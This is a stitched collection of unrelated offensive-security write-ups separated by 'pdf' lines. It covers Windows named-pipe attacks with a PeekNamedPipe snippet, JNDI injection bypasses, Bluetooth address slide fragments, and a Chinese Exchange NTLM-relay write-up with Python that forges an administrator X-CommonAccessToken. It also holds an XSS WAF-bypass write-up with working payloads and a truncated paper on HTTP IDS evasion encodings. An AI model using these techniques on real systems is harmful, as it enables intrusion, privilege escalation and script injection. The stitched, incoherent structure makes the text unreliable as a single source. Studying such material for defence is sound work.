I’ll update if I stumble across the answer… Another option is the Pipe Monitor of the IO Ninja toolset. This tool requires a license, but offers a free trial period to play around with it. The Pipe Monitor offers functionality to inspect pipe activity on the system and comes with a few basic lters for processes, le names and such. As you want to search for all processes and all le names I ltered for ‘*’, let it run and used the search function to look for ‘Cannot open’: If you know any other way to do this using open source tooling, let me know (/ 0xcsandker) ;) If you can’t nd unanswered pipe connection attempts, but identied an interesting pipe client, that you’d like to talk to or impersonate, another option to get the client’s connection is to kill its current pipe server. In the Instance Creation Race Condition section I’ve described that you can have Killing Pipe Servers multiple named pipes with the same name in the same ‘namespace’. If your target server didn’t set the nMaxInstances parameter to ‘1’, you can create a second named pipe server with the same name and place yourself in the queue to serve clients. You will not receive any client calls as long as the original pipe server is serving, so the idea for this attack is to disrupt or kill the original pipe server to step in with your malicious server. When it comes to killing or disrupting the original pipe server I can’t assist with any general purpose prerequisites or implementations, because this always depends on who is running the target server and on your access rights and user privileges. When analyzing your target server for kill techniques try to think outside the box, there is more than just sending a shutdown signal to a process, e.g. there could be error conditions that cause the server to shutdown or restart (remember you’re number 2 in the queue - a restart might be enough to get in position). Also note that a pipe server is just an instance running on a virtual FILE_OBJECT, therefore all named pipe servers will be terminated once their handle reference count reaches 0. A handle is for example opened by a client connecting to it. So a server could also be killed by killing all its handles (of course you only gain something if the clients come back to you after loosing connection). There might be scenarios where you’re interested in the data that is exchanged rather than in manipulating or impersonating pipe clients. Due to the fact that all named pipe instances live under the same roof, aka. in the same global ‘namespace’ aka. on the same virtual NPFS device drive (as briey mentioned before) there is no system barrier that stops you from connecting to any arbitrary (SYSTEM or non-SYSTEM) named pipe instance and have a look at the data in the pipe (technically ‘in the pipe’ means within the shared memory section allocated by the pipe server). As mentioned in the section Named Pipe Security the only gear you can turn when securing your named pipe is using a Security Descriptor as the last parameter (lpSecurityAttributes) to the CreateNamedPipe call. And that’s all that would prevent you from accessing any arbitrary named pipe instance. So all you need to check for when searching for a target is if this parameter is set and secured to prevent unauthorized access. If you need some background on Security Descriptors and what to look for (the ACLs in the DACL) check out my post: A Windows Authorization Guide When you found a suitable target there is one more thing you need to keep in mind: If you’re reading from a named pipe by using ReadFile, you’re removing the data from the server’s shared memory and the next, potentially legitimate client, who attempts to read from the pipe will not nd any data and potentially raise an error. PeekNamedPipe Prerequisites Implementation But you can use the PeekNamedPipe function to view the data without removing it from shared memory. An implementation snippet based on the my sample code could look like this: // all the vars you need const int MESSAGE_SIZE = 512; BOOL bSuccess; LPCWSTR pipeName = L"\\\\.\\pipe\\fpipe"; HANDLE hFile = NULL; LPWSTR pReadBuf[MESSAGE_SIZE] = { 0 }; LPDWORD pdwBytesRead = { 0 }; LPDWORD pTotalBytesAvail = { 0 }; LPDWORD pBytesLeftThisMessage = { 0 }; // connect to named pipe hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, SEC URITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL); // sneak peek data bSuccess = PeekNamedPipe( hFile, pReadBuf, MESSAGE_SIZE, pdwBytesRead, pTotalBytesAvail, pBytesLeftThisMessage ); That’s about it, if you want to continue to dig into Named Pipes here are some good references to start with: >> Microsoft’s Docs about pipes at https://docs.microsoft.com/en- us/windows/win32/ipc/pipes >> Blake Watts paper about Named Pipe Security at http://www.blakewatts.com/namedpipepaper.html >> My Sample C++ Implementation at https://github.com/csandker/InterProcessCommunication- Samples/tree/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server Part 2 of the series, covering RPC can be found here: Offensive Windows IPC Internals 2: RPC Other Posts References The Series: Part 2 Debugging and Reversing ALPC 29 May 2022 Offensive Windows IPC Internals 3: ALPC 24 May 2022 Offensive Windows IPC Internals 2: RPC 21 Feb 2021
pdf
jndi注入高版本绕过与反序列化 昨天群里聊到这了,虽然都是炒冷饭,但有些细节可能分析清楚点也有好处。主要分析分三个部分 1、jndi注入的原理 2、jndi注入与反序列化的关系 3、jndi注入与jdk版本的关系 jndi注入的原理: jndi是java用于访问目录和命名服务的 API。使用jndi进行查询本来是一个正常的功能,但由于实现时没 有考虑安全问题,如果查询恶意对象就会导致被攻击。但攻击的结果并不一定是rce。 jndi的查询大致可以分两步: 1、客户端请求一个命名服务并获取一个对象。 2、客户端解析这个对象。 那么漏洞出现在哪步呢?实际上是两步都有可能,因为jndi支持RMI、LDAP、CORBA、DNS四种协议, 每种都对应不同的实现,支持绑定的对象有序列化对象、引用对象、属性对象等。所以攻击路径很多, 漏洞也很多。 在攻击中常用的有jndi+rmi和jndi+ldap,实际上corba也可以用于攻击,但基本能用corba打的都能用 rmi打,并且流程很啰嗦。所以这里就分析这jndi+rmi和jndi+ldap两种实现。 jndi+rmi 关键代码在RegistryContext#lookup 可以看到第一步,远程对象obj是通过原生rmi的lookup获取的,了解rmi的就知道是通过反序列化获取 的。实际上如果系统里有gadget,这一步反序列化的时候就可以导致代码执行了。 然后第二步,在decodeObject里面对获取到的对象进行了解析, 逻辑在RegistryContext#decodeObject里面    public Object lookup(Name name) throws NamingException {        if (name.isEmpty()) {            return (new RegistryContext(this));       }        Remote obj;        try {            obj = registry.lookup(name.get(0));       } catch (NotBoundException e) {            throw (new NameNotFoundException(name.get(0)));       } catch (RemoteException e) {            throw (NamingException)wrapRemoteException(e).fillInStackTrace();       }        return (decodeObject(obj, name.getPrefix(1)));    private Object decodeObject(Remote r, Name name) throws NamingException {        try {            Object obj = (r instanceof RemoteReference)                        ? ((RemoteReference)r).getReference() 注释里写的很明白,如果com.sun.jndi.rmi.object.trustURLCodebase为true就可以通过codebase加载 任意远程类,导致代码执行。这个校验是在jdk8u121开启的,并且是加在RegistryContext里面的,也 就是只对了jndi的rmi实现作了限制,所以后续才会有ldap的绕过。 然后调用的是NamingManager.getObjectInstance,这个函数就是前面说的所谓的解析远程对象的函 数。                       : (Object)r;            /*             * Classes may only be loaded from an arbitrary URL codebase when             * the system property com.sun.jndi.rmi.object.trustURLCodebase             * has been set to "true".             */            // Use reference if possible            Reference ref = null;            if (obj instanceof Reference) {                ref = (Reference) obj;           } else if (obj instanceof Referenceable) {                ref = ((Referenceable)(obj)).getReference();           }            if (ref != null && ref.getFactoryClassLocation() != null &&                !trustURLCodebase) {                throw new ConfigurationException(                    "The object factory is untrusted. Set the system property" +                    " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");           }            return NamingManager.getObjectInstance(obj, name, this,                                                   environment);    public static Object        getObjectInstance(Object refInfo, Name name, Context nameCtx,                          Hashtable<?,?> environment)        throws Exception   {        ObjectFactory factory;        // Use builder if installed       ......        // Use reference if possible        Reference ref = null;        if (refInfo instanceof Reference) {            ref = (Reference) refInfo;       } else if (refInfo instanceof Referenceable) {            ref = ((Referenceable)(refInfo)).getReference();       }        Object answer;        if (ref != null) {            String f = ref.getFactoryClassName();            if (f != null) {                // if reference identifies a factory, use exclusively                factory = getObjectFactoryFromReference(ref, f);//这里通过 URLClassLoader从codebase里加载工厂类                if (factory != null) {                    return factory.getObjectInstance(ref, name, nameCtx,                                                     environment);//这里调用工厂类 的getObjectInstance方法               }                // No factory found, so return original refInfo. 这里的逻辑其实都在处理远程对象是Reference的情况,如果通过rmi获取的远程对象是一个 Reference,就会调用getObjectFactoryFromReference从Reference里获取工厂类,然后调用工厂类的 getObjectInstance方法。 那这里实际上有两种rce的攻击手法: 1、getObjectFactoryFromReference在开启trustURLCodebase时可以通过URLClassloader加载远程类 并进行实例化,导致代码执行。 2、远程对象是一个Reference,同时系统本身有某些工厂类在调用getObjectInstance时导致了任意代 码执行,这个工厂类其实就是tomcat中的beanFactory,通过反射执行el表达式。 可以看到,上面这两种执行代码的方式都不是通过反序列化导致的代码执行。也就是说jndi+rmi的攻击 中,虽然远程对象是反序列化传过来的,但真正导致代码执行的入口并不是反序列化。这也是昨天我和 三梦师傅的分歧,虽然意思是差不多,但我觉得这不能叫反序列化漏洞,也许可以归类成所谓的后反序 列化漏洞。 jndi+ldap 核心逻辑在ldapCtx#c_lookup 把无关代码去掉后,这里很明显的两步,第一步通过Obj.decodeObject从ldap获取字符串,解码出一个 Object对象,第二步通过DirectoryManager.getObjectInstance解析。实际上和rmi一样的逻辑,代码 都差不多。但这里就没有rmi那个trustURLCodebase的校验,这也是ldap+jndi可以绕过ldap+rmi修复 的原因。后来的jdk8u191版本里又增加了一个校验,直接加到类加载那了,就不细说了。 那么第一步是获取远程对象,在Obj#decodeObject                // Will reach this point if factory class is not in                // class path and reference does not contain a URL for it                return refInfo;           } else {               ......    protected Object c_lookup(Name name, Continuation cont)            throws NamingException {        cont.setError(this, name);        Object obj = null;        Attributes attrs;        try {           ......            if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {                // serialized object or object reference                obj = Obj.decodeObject(attrs);           }            if (obj == null) {                obj = new LdapCtx(this, fullyQualifiedName(name));           }       } catch (LdapReferralException e) {           ......        try {            return DirectoryManager.getObjectInstance(obj, name,                this, envprops, attrs);       ......   }    static Object decodeObject(Attributes attrs) 可以看到有三种获取对象的方式,名字看着都不咋安全,jndi简直是一步一个坑。 具体代码不跟了,太长了,结论如下,如果有问题欢迎指出: deserializeObject就是一个原生反序列化 decodeRmiObject是新建一个Reference,没有反序列化。 decodeRefernce,原生反序列化,但是如果com.sun.jndi.ldap.object.trustURLCodebase开启,会调 一个重写的resolveClass进行远程类加载。 所以jndi+ldap获取对象的方式可以理解为和rmi差不多,都是通过反序列化获取的。 然后解析对象调用的是DirectoryManager.getObjectInstance,其实和 NamingManager.getObjectInstance基本是一样的。jndi+ldap的rce方式有以下两种: 1、获取对象时调用decodeRefernce触发远程类加载,这个我没具体实现,因为实际上和第二点是相同 利用条件的,意义不大,也许有坑,感兴趣的可以看下。 2、解析对象时调用getObjectFactoryFromReference,在开启 com.sun.jndi.ldap.object.trustURLCodebase时进行远程类加载,注意这个trustURLCodebase和rmi 的不是一个。 3、和rmi一样用本地工厂类,但ldap服务端不能像rmi一样直接绑远程对象,需要绑序列化后的数据。 实际上到目前为止,rmi和ldap这几种rce都是不需要本地有反序列化利用链的,也就是说一般说的jndi 注入导致命令执行并不是通常说的反序列化漏洞,只是在传递对象时是通过反序列化传递的。 那么目前为止jndi注入的原理以及jndi注入与反序列化的关系应该就清楚了,接下来说说jdk版本与jndi注 入的关系,也就是jdk到底修了什么,没修什么。        throws NamingException {        Attribute attr;        // Get codebase, which is used in all 3 cases.        String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));        try {            if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {                if (!VersionHelper12.isSerialDataAllowed()) {                    throw new NamingException("Object deserialization is not allowed");               }                ClassLoader cl = helper.getURLClassLoader(codebases);                return deserializeObject((byte[])attr.get(), cl);//获取普通序列化对 象           } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {                // For backward compatibility only                return decodeRmiObject(//获取rmi对象                   (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),                   (String)attr.get(), codebases);           }            attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);            if (attr != null &&               (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||                    attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {                return decodeReference(attrs, codebases);//获取Reference对象           }            return null;       ...... jndi注入与jdk版本 实际上针对jndi注入jdk大的修复只修复了两次,分别是8u121对rmi和corba的jndi注入进行了限制,默 认禁止了这两种命名服务远程加载工厂类。之后在8u191禁止了ldap的远程类加载。除此之外没有有效 的修复了,最近的版本新增加了一个ldap限制反序列化的参数,但是默认没有开启。所以jndi注入过程 里的反序列化都是可以利用的。 那么高版本下jndi注入rce的方式依然可用的还有 (1)加载本地工厂类(beanFactory) (2)打本地反序列化链。 前者需要tomcat8/9环境,后者需要反序列化链,都不是无条件的,但依然有rce的可能。 jndi注入与jep290 顺便提一下jep290是否对jndi注入有影响,答案是几乎没有。因为jep290只是提供了开启反序列化过滤 的机制,但默认开启过滤的只有rmi服务端的几个类。而jndi注入是针对客户端的攻击,是不受影响的。 实际上rmi自身的设计也意味着不可能针对客户端进行反序列化过滤,这种问题可能只能通过security manager解决。 总结 所以最后总结一下开篇的三个问题: 1、jndi注入的原理 一般说的jndi注入原理是远程类加载。其他攻击方法还有本地工厂类代码执行、反序列化。 2、jndi注入与反序列化的关系 jndi注入依赖反序列化来传递对象,但常说的jndi注入代码执行并不是由反序列化链导致的。同样jndi注 入也可以转化成通常说的反序列化攻击。 3、jndi注入与jdk版本的关系 jdk升级只能修复jndi远程类加载的攻击方式,高版本依然有加载本地工厂类和反序列化本地利用链的攻 击方式。 写的比较仓促,如果有错误欢迎指出。
pdf
John Shaw, Wisconsin DOT, 2013 Federal Highway Administration, 2013 Non-Significant Address Part (NAP) Upper Address Part (UAP) Lower Address Part (LAP) 00:00 09 4E:22:19 Manufacturer-assigned, irrelevant Can be derived from traffic Sent in every packet University of Washington STAR Lab Washington State Transportation Center, 2011 University of Washington STAR Lab Edward Snowden by way of the Washington Post
pdf
ProxyNotShell (疑似) 分析与poc 1. 漏洞原理分析 Exchange 的ProxyNotShell 漏洞已经爆出来挺久了,临时缓解措施都已经绕过几轮了,但是一直没有 poc放出来,也没有明确的漏洞原理泄露。前一段时间twitter上有人分享了一些思路,可能是 ProxyNotShell 的 ssrf 部分。不过热度过去了也没太多人关注,所以我把这个思路的poc写了一下,和 大家分享一下。如果最后不是ProxyNotShell, 那就叫它 NotProxyNotShell 吧。。。 首先回忆一下 ProxyShell 的利用链:autodiscover 前端端点的 ssrf 漏洞自带 kerberos 认证,认证用户 为 NT AUTHORITY\SYSTEM。但是system用户没有对应邮箱,要想用这个认证使用后端的端点,需要 X-CommonAccessToken 头部字段。但是X-CommonAccessToken 不能由用户随意设置,会被 autodiscover 前端端点过滤掉。好在 PowerShell 的后端端点存在一个 X-Rps-CAT 查询参数,可以作为 X-CommonAccessToken 的平替。通过在X-Rps-CAT指定一个 伪造的exchange administrator 的 token ,我们可以将 NT AUTHORITY\SYSTEM 的认证降级为 exchange administrator,并获得 exchange administrator 的 remote powershell。 ProxyShell 的补丁将 ssrf 自带的kerberos认证去掉了,但是ssrf留了下来。现在我们可以带着认证去使 用这个ssrf,这样 autodiscover 会根据我们认证的用户生成 X-CommonAccessToken,并传递给后端 服务。 原本Exchange的 powershell 前端端点只支持 kerberos 认证,但通过这个 ssrf ,我们可以借助 autodiscover 作为前端端点,并可以使用它的 basic 认证、ntlm认证 以及其他的认证方式 建立 remote powershell。比如下面这样: 但如果直接使用这种方式,autodiscover 前端会根据我们认证的用户生成 X-CommonAccessToken 并 传递给 PowerShell 后端。这样由于我们是以普通用户认证的,获得的也会是一个普通用户权限的 remote powershell。而且由于 X-CommonAccessToken 的优先级高于 X-Rps-CAT,这时也无法通过 X-Rps-CAT 来指定token。 那是不是 X-CommonAccessToken 绝对不可能由用户直接指定呢?到也不全是。看下面的代码: 这是 ProxyRequestHandler.AddProtocolSpecificHeadersToServerRequest() 里的一段代码,描述了 autodiscover 前端端点是如何决定发送给后端的 X-CommonAccessToken 的。 情况一:如果用户请求里没有带 X-CommonAccessToken 头部,则直接根据认证的用户生成响应的 X- CommonAccessToken,如果是匿名用户则生成匿名token。 情况二:如果用户请求里带了 X-CommonAccessToken 头部,首先要确保这个 CommonAccessToken 里指定的用户不能是 System 或 Machine 账户。其次要确保我们用来认证的用户必须满足 IsSystemOrTrustedMachineAccount() 函数。 IsSystemOrTrustedMachineAccount() 要求用户是 System 或者 name 以 $ 结尾(machine account) , 并且具有 TokenSerialization 权限。 也就是说直接指定 X-CommonAccessToken 的功能一般由 拥有TokenSerialization权限的machine account 使用,以给予它们模拟其他用户的能力。 说到这里:允许Ntlm认证,一个拥有TokenSerialization权限的machine account 。我们应该可以想到 通过 Ntlm relay Exchagne Server 的machine account 来模拟/降级 出Exchagne administrator 的 remote powershell。由于现在不允许 Ntlm relay 到发出认证请求的主机上,所以只适用于 多 Exchagne Server 的环境。 2. 写 poc 那按照这个思路,其实poc也很好写了,和 ProxyShell 相似,只是多了 Ntlm relay 的过程。基本上就是 DfsCoerce + ntlmrelayx.py + orange的powershell proxy 脚本。如果选择 DfsCoerce 作为Ntlm认证的 触发方式,就要求目标主机上开启了 DFS 服务。但这个服务不是默认开启的,一般安装了AD的域控会 自动开启这个服务,所以就要求我们的Exchagne Server1 安装有AD。当然你也可以选择其他的 Ntlm 认证触发方式。orange 的powershell proxy 脚本自不必多说,网上也有,帮我们省去了研究 remote powershell 具体协议内容的麻烦。最后也最麻烦的就是 ntlmrelayx.py 了,我们要先学习一下 ntlmrelayx 的架构。 ntlmrelayx 分为 servers、clients 和 attacks 三个部分。 server 部分作为监听 ntlm 认证请求的组件,支持各种协议,比如 ntlm over smb, ntlm over http 。 client 部分的作用则是relay,将收到的ntlm认证消息通过各种协议转发到其他主机上。支持的协议也很 多,包括 http, imap, ldap, mssql, smb 等等。 attack 部分的作用则是在relay 并完成认证之后,向目标主机发送后续的攻击动作。 server 在接收到 ntlm 认证请求后,会分别调用 Client 实现的 sendNegotiate() 和 sendAuth() 函数,以 向目标主机完成ntlm认证步骤。完成认证后会取出 Client 所使用的 connection 交给 attack 使用。这样 保证attack 所使用的是一个经过 ntlm 认证的长连接。 如果使用 DfsCoerce,那 server 部分就要监听 ntlm over smb,而 client 部分则要使用 HttpClient(HttpsClient) 以连接 exchagne 的 autodiscover端点。但是 ntlmrelayx 自带的 HttpClient 无法指定认证时的请求路径,查询字符串 和 请求头部,这样我们就没法利用ssrf。所以我们要实现一个 自己的 HTTPRelayClient (其实只是拷贝默认的HttpClient,修改几行代码)。具体哪种协议使用哪个 Client 是在 PROTOCOL_CLIENTS 全局变量里指定的,我们可以用下面的方式指定: 具体的修改不过就是在 Client.SendAuth() 里加上伪造的 X-CommonAccessToken 头部,以及修改一下 Client.initConnection() 里的请求路径。这里附上token 的生成代码: 认证完成之后 attack 要怎么写呢?这里我们使用的是 powershell proxy 脚本,那就需要开启一个Flask 服务,监听 remote powershell 请求,并带上认证转发给 Exchange Server2,再将响应转发给 powershell 连接脚本。那 attack 要怎么和 Flask 结合起来呢?我的方法是在 attack 里将接收到的经过 认证的 connection 存放到一个全局变量里,然后由 Flask 实例使用这个经过认证的长连接转发 powershell 请求。然后问题又来了,powershell 连接的其中一个报文是没有响应的,这就导致长连接 PROTOCOL_CLIENTS['HTTP'] = MyHTTPRelayClient PROTOCOL_CLIENTS['HTTPS'] = MyHTTPSRelayClient PROTOCOL_ATTACKS['HTTP'] = MyHTTPAttack PROTOCOL_ATTACKS['HTTPS'] = MyHTTPAttack # 注意:gsuids 是一个list def fake_token(usuid, gsuids):    logonname = b'SERVER\\whatever'    token = b'V\x01\x00T\x07WindowsC\x00A\x08Kerberos' + \            b'L' + struct.pack('< B', len(logonname)) + logonname + \            b'U' + struct.pack('< B', len(usuid)) + usuid.encode('utf-8') + \            b'G' + struct.pack('< L', len(gsuids))    for gsuid in gsuids:        token = token + b'\x07\x00\x00\x00' + struct.pack('< B', len(gsuid)) + gsuid.encode('utf-8')    token = token + b"E\x00\x00\x00\x00"    tokenb64 = base64.b64encode(token)    return tokenb64.decode() result = fake_token('S-1-5-21-2610204458-598855006-40855596-1000', ['S-1-5-32- 544']) 会阻塞在那里,没办法我决定多建立几个经过认证的长连接以备阻塞时使用。但是又有问题了, ntlmrelayx 的target有去重机制,对同一个目标只会认证一次,这样就避免了当有多个 ntlm 认证请求 时会多次向同一目标主机转发认证的问题。我这里利用了一个ntlmrelayx 的bug,当指定的target里有 path时,去重机制会因为不匹配而失效,这样就可以建立多个ntlm认证长连接了。 最后脚本输出大概是这个样子: 然后我们就有了一个 Exchange administrator 权限的remote powershell。至于后面怎么通过这个 powershell 写文件/Rce 就不知道了。 3. 临时缓解措施的绕过 这个ssrf 的临时缓解措施被绕过了好几次,不幸的是昨天又被绕过了。测试如下: 不过这个请求的query string 需要直接使用 binary 数据,不能进行url编码,似乎现有的 python http相 关库不能满足这点。如果可以的话请告诉我。 最后,这个利用思路到底是不是 ProxyNotShell 呢?还真不好说,因为微软给的临时缓解措施里有一条 是:禁用普通用户的 remote powershell 权限。似乎漏洞的发生场景是普通用户的 remote powershell 会话,和文中这个获取 管理员 remote powershell 会话的思路好像不太一样。 附录: https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on- microsoft-exchange-proxyshell https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1 https://twitter.com/buffaloverflow/status/1575756381650493440 https://twitter.com/irsdl/status/1581391654153437185
pdf
0x00 前⾔ 如有技术交流或渗透测试/代码审计/红队⽅向培训/红蓝对抗评估需求的朋友 欢迎联系QQ/VX-547006660 0x01 前奏 最近在测试某知名安全⼚商的过程中,发现其⼀处重要业务的⼦域竟出现了难得⼀⻅的⾃研WAF,如此⼀来勾起了 我的兴趣~ 仔细研究该业务点后,发现某处传参,会直接将传参内容写⼊JS中,⼤⼤的危险 Aut hor: J 0o1ey 于是与WAF的⼀次交锋便从此刻开始~ 0x02 平静的闭合与常规操作 由上图的输出位置可知,⽆WAF情况下,我们只需要通过 三个符号来闭合前半部分JS,再⽤//注释后⽅JS,再直接eval执⾏JS代码即可 构造Payload 由于eval,alert,括号等太敏感~毫⽆疑问,直接被WAF秒了 ’)] %27)];eval(alert('xss'))// Aut hor: J 0o1ey 那只能⽤经验与思路来逐渐替换掉这些敏感的函数关键词了~ 0x03 多⼿法组合绕过WAF 解决eval ⾸先解决的是eval被拦截的问题 在JS中绕过对于eval的拦截,可以使⽤Function()动态构造函数 这⾥⽤到了 Function()构造函数的⼀个特性, Function()构造函数虽然不是很常⽤,但是了解⼀下还是很有必要的。 不管是通过函数定义语句还是函数直接量表达式,函数的定义都要使⽤ function()关键字。 但是单函数还可以通过Function()构造函数来定义,⽐如: 这⼀⾏的实际效果和下⾯的⼀⾏代码是等价的。 Function()构造函数可以传⼊任意数量的字符串实参,最后⼀个实参所表示的⽂本是函数体;它可以包含任意的 Javascript 语句,每条语句之间⽤分号分割。 我们依据这个特性就可以使⽤Function()来代替eval() EG: 两者是等效的 var f = new Function("x","y","return x*y"); var f=function(x,y){x*y}; Function(alert('xss')) eval(alert('xss')) Aut hor: J 0o1ey 改造我们的Payload 发现未拦截 直接Function内使⽤函数 不出意外,直接GG了~ ?%27]);Function(test)()// %27]);Function(alert('xss'))()// Aut hor: J 0o1ey 下⾯思考的就是如何绕过对于函数的检测 绕过函数检测 直接alert既然被拦截,我们就使⽤atob来解密base64的的JS EG: 构造Payload atob("YWxlcnQoInhzcyIp") //base64编码的alert('xss') %27]);Function(atob('YWxlcnQoInhzcyIp')))()// Aut hor: J 0o1ey Md,⼜寄了~估计是正则检测了atob + ()的函数使⽤... 没事,再⽤JS的⼀个特性,反引号来代替括号+引号 构造Payload atob`YWxlcnQoInhzcyIp` %27]);Function(atob`YWxlcnQoInhzcyIp`)()// Aut hor: J 0o1ey 弹弹弹,弹⾛⻥尾纹 0x04 总结 本初XSS绕过WAF总共⽤了四个简单的TIPS 1.输出在JS内的闭合与注释 2.Function()来代替eval() 3.atob解密base64加密的JS 4.反引号代替括号与引号 所以,⼤多数业务场景并不是没有漏洞,⼤部分情况是受挖掘者脑中的利⽤链与姿势所限。 各种⼩⼿法组合起来达到漏洞利⽤成功的效果,是⼀次有趣的经历。 Aut hor: J 0o1ey
pdf
1 HTTP IDS Evasions Revisited Daniel J. Roelker Abstract—This paper describes two general IDS evasion techniques and applies them to the HTTP protocol. These techniques are illustrated using some older types of HTTP evasions and some new HTTP evasions. The different types of evasions occur in both the Request URI portion of the HTTP protocol and by using the protocol standard in HTTP/1.0 and HTTP/1.1. The evasions within the Request URI address evasion types possible in encoding and obfuscating the URL and parameter fields in the Request URI. The various methods of valid URL encodings for both the Apache and Internet Information Server are explained and examples given for each type of encoding. HTTP IDS evasions are also demonstrated using the HTTP protocol properties against the IDS. These evasions incorporate the request pipeline property and the content-encoding header. This paper should help explain how HTTP IDS evasions work and give the reader enough knowledge to generate their own HTTP IDS evasions using these general principles and examples. Index Terms—computer security, hypertext transfer protocol, intrusion detection, web scanning I. INTRODUCTION H TTP IDS evasions have been popular since Rain Forest Puppy’s (RFP) web scanner, whisker, was first released to the public [1]. Many of the original HTTP IDS evasions were contained in that first release, from multiple slashes that would obfuscate directories, to the more advanced evasions, like inserting HTTP/1.0 in the URL to evade an algorithm that an IDS might use to find the URL in a packet. Besides the evasions that whisker presented, there were other types of HTTP obfuscations that were being propagated as well. One of these was obfuscating a URL by using an absolute URI vs. a relative URI [2]. While these other types of evasions were interesting, they were not as evasive or popular as the basic whisker scans. The next popular evasion came about with the public release by RFP of the UTF-8 unicode encoding exploit for the Microsoft Internet Information Server (IIS) [3]. Besides being a serious vulnerability for IIS, the unicode exploit also presented an encoding method for URLs in a way that had not been implemented in IDSs. Up until this point, most IDSs had instituted safeguards against the previous whisker evasions of ASCII encoding and directory traversal, but did not protect against UTF-8 encoding of Unicode code points. One of the more professional write-ups that explained this type of HTTP IDS evasion was done by Eric Hacker [4]. Some of the insights in Hacker’s paper are examined and explained in this paper as well. We will take the points that Hacker illustrates and delve into what these encodings mean and how they can work together to provide more bizarre encodings. The other type of HTTP IDS evasions that are covered in this paper utilizes the HTTP protocol properties. One of these evasions uses the property of request pipelining. The other evasion uses the content-encoding header to encoding HTTP request parameters in a request payload. II. IDS HTTP PROTOCOL ANALYSIS In order for an IDS to handle URL attacks, the IDS must inspect the HTTP URL field for malicious attacks. The two most popular IDS inspection methodologies, pattern matching and protocol analysis, currently behave similarly because each methodology must search for malicious URLs and this entails some form of pattern matching and some form of HTTP protocol analysis. In the beginning, the differences between these two methodologies were what you would expect. The protocol analysis methodology only searched the URL field of the HTTP stream for malicious URLs, while the pattern matching methodology searched the whole packet for the malicious URL. The two methodologies performed similarly until the malicious URLs started to be encoded and obfuscated. At this point, the protocol analysis methodology merely had to add the appropriate decoding algorithms to the URL field. They had already built in HTTP protocol decoding to their engine. But the pattern matching methodology had no way of knowing which part of the packet to normalize. The pattern matching methodology had to incorporate some form of protocol analysis to find the URL field so that it could apply the appropriate decoding algorithms. A form of HTTP protocol analysis was added to the pattern matching methodology and the two methodologies once again began to behave similarly. Because of the current similarities in these IDS methodologies, the HTTP IDS evasions that are discussed here apply to both types. The first general IDS evasion is invalid protocol parsing. For example, if the HTTP URL is not found correctly then the malicious URLs will not be detected if they are encoded. The reason being that if the IDS does not find the URL, it cannot decode it. If the URL is found correctly, the IDS must know the D. J. Roelker is with the IDS development team at Sourcefire Inc., Columbia, MD 21044 USA (email: [email protected]). 2 proper decoding algorithms, otherwise the URL will again be decoded incorrectly. This is the second general type of IDS evasion, invalid protocol field decoding. A. Invalid Protocol Parsing IDS evasions that use invalid protocol parsing are demonstrated by RFP’s whisker[1] and Bob Graham’s SideStep[5]. The difference between these two programs are that whisker used flawed IDS protocol parsing to evade detection, whereas SideStep used valid aspects of application layer protocols to evade IDSs that had implemented naïve protocol decoders. In this spirit, invalid protocol parsing evasions are particularly effective against two HTTP protocol fields, the URL and the URL parameters. For example, if the IDS HTTP decoder assumes that there is only one URL per HTTP request packet, then if two URLs are sent in one packet, the IDS does not parse the second URL correctly. This is explained in the section on request pipelining evasions. B. Invalid Protocol Field Decoding Invalid protocol field decoding tests an IDS capability in the various types of encoding and normalization that is capable in a specific protocol field. In the case of HTTP, this is most clearly seen in the URL field. An IDS can be tested for compliance to HTTP RFC encoding standards and also against the unique encoding types for different web servers, like IIS. If the IDS cannot decode certain types of URL encoding, then the attacker will use these encodings to bypass detection of malicious URLs. Another method of invalid protocol field decoding for HTTP is through directory obfuscation. Directory obfuscation is accomplished through the manipulation of directory properties. For example, /cgi-bin/phf can be manipulated using multiple slashes instead of one slash, or it could use directory traversals to obfuscate the exact directory path. It is important to realize that directory obfuscation can only obscure a malicious URL if the IDS looks for a URL that includes at least one directory besides the file to access. In the instance of our attack example, /cgi-bin/phf, directory obfuscation will work because the IDS is looking for the “phf” file in the “cgi-bin” directory. However, if the IDS is looking for just the “phf” file, the directory obfuscation would not work, since there is no directory path in that particular content. III. INVALID PROTOCOL FIELD DECODING URL obfuscation starts out with the various types of encoding methods that HTTP servers accept. Admittedly, most of the encoding types are attributed to the IIS server, but for the sake of completeness, every type of encoding should be tested against each HTTP server. The idea behind using URL encoding for obfuscating web attacks stems from the lack of research in most IDS methodologies to adequately define and implement the different encoding types for web servers. If an IDS cannot decode an encoded type for a web server, then the IDS cannot tell whether a URL is malicious. Both pattern matching and protocol inspection IDS technologies have this problem. There are only two RFC standards for encoding a Request URI: hex encoding and UTF-8 Unicode encoding. These two methods are encoded using the ‘%’ character to escape a one encoded byte. It should also be noted that these are the only two URL encoding types that Apache accepts. Most of the other encoding types that we will be looking at are server specific and non-RFC compliant. The Microsoft IIS web server falls in this category. URL obfuscations are also covered in this section and follow the different encodings. A. Hex Encoding The hex encoding method is one of the RFC compliant ways for encoding a URL. It is also the simplest method of encoding a URL. The encoding method consists of escaping a hexadecimal byte value for the encoded character with a ‘%’. If we wanted to hex encode a capital A (ASCII map hexadecimal value of 0x41), the encoding would look like the following: • %41 = ‘A’ B. Double Percent Hex Encoding Double percent hex encoding is based on the normal method of hex encoding. The percent is encoded using hex encoding followed by the hexadecimal byte value to be encoded. To encode a capital A, the encoding is: • %2541 = ‘A’ As can be seen, the percent is encoded with the %25 (this equals a ‘%’). The value is then decoded again with the value this time being %41 (this equals the ‘A’). This encoding is supported by Microsoft IIS. C. Double Nibble Hex Encoding Double nibble hex encoding is based on the standard hex encoding method. Each hexadecimal nibble value is encoded using the standard hex 